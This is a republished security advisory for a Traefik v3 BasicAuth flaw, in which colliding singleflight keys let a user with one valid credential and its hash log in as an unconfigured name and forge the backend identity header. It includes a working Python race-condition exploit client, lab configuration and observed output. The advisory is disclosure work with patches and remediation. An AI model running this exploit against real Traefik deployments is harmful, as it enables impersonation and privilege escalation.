GHSA-6765-c87h-8mrf: Go/github.com/traefik/traefik/v3 vulnerability

Published Aug 6, 2026
·
Updated

Summary

There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.

If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.

A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.

Details

The vulnerable logic is in pkg/middlewares/auth/basicauth.go:118-131:

go func (b basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm)

key := password + secret match, , := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { = b.checkSecret(password, b.notFoundSecret) return false, nil }

return b.checkSecret(password, secret), nil })

return match.(bool) }

For a configured user viewer:

text password = P secret = H key = P || H result = true

For an unconfigured user admin:

text password = P || H secret = "" key = (P || H) || "" = P || H

singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.

The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:

go req.URL.User = url.User(user)

if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }

Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.

Attack prerequisites

The attacker needs:

1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.

Security impact

When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:

- access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation.

Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.

Proof of Concept

Validation environment

- Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: 2026-07-15T12:42:25Z. - Go version in the release: go1.26.5. - Archive SHA-256: dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7. - The checksum matched the official traefikv3.7.8checksums.txt release asset. - No Traefik source files were modified.

Dynamic configuration

The bcrypt hash below is for password test and uses cost 12:

yaml http: routers: app: entryPoints: - web rule: PathPrefix(/) middlewares: - auth service: backend

middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090

Save it as dynamic.yml. Use this install configuration as static.yml:

yaml global: checkNewVersion: false sendAnonymousUsage: false

api: insecure: true

entryPoints: web: address: 127.0.0.1:18080

providers: file: filename: /absolute/path/to/dynamic.yml watch: false

The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.

Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:

python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.sendresponse(200) self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, args): pass

ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serveforever()

Start the backend and Traefik in separate shells.

Shell 1:

bash python3 backend.py

Shell 2:

bash ./traefik --configFile=/absolute/path/to/static.yml

Exploit client

python import base64 import http.client import json import threading import time import urllib.request

HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."

def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body

middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("apiusers", middleware["basicAuth"]["users"]) print("validbaseline", request("viewer", PASSWORD)) print("attackerbaseline", request("admin", PASSWORD + HASH))

wins = 0 for in range(25): validresult = {} valid = threading.Thread( target=lambda: validresult.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1

print("forgedadminsuccesses", wins, "of", 25)

Observed output

text apiusers ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] validbaseline (200, 'viewer') attackerbaseline (401, '401 Unauthorized') forgedadminsuccesses 25 of 25

The negative control proves that admin is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity admin.

The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.

Impact

An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When headerField is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without headerField, the request still bypasses BasicAuth and reaches the protected service.

</details>

---

Affected Software

2 affected componentsFixes available
go/github.com/traefik/traefik/v3>=3.7.0<=3.7.9
3.7.10
go/github.com/traefik/traefik/v3>=3.6.11<=3.6.24
3.6.25

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/traefik/traefik/v3 to a version that resolves this vulnerability.

    Fixed in 3.7.10
  2. Upgrade

    Upgrade go/github.com/traefik/traefik/v3 to a version that resolves this vulnerability.

    Fixed in 3.6.25
  3. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in v3.7.10
  4. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in v3.6.25
  5. Configuration

    Set the BasicAuth middleware option `headerField` to an empty/unset value so the attacker-selected username is not forwarded in a `X-WebAuth-User`-style trusted header (material states behavior changes “Without `headerField`, the request still bypasses BasicAuth” and “When `headerField` is enabled … the attacker-selected username is forwarded to the backend,” so ensure it is not enabled).

    Traefik BasicAuth middleware headerField = unset/empty
  6. Compensating control

    Use network access controls so attackers cannot reach the Traefik BasicAuth-protected route or the Traefik admin/API endpoints that can be used to obtain or trigger the vulnerable BasicAuth behavior (material: exploitation requires ability to reach admin-only API paths; BasicAuth-protected route access is a prerequisite).

  7. Operational

    If any credentials/password hashes used for Traefik BasicAuth were exposed or could be read via the prerequisite admin-only paths (e.g., deployment labels/routing config, Kubernetes Secret, or Docker socket), rotate/re-provision those credentials after upgrading.

Event History

Aug 6, 2026
Advisory Published
via GitHub·04:34 PM
Data Sourced
via GitHub·04:34 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203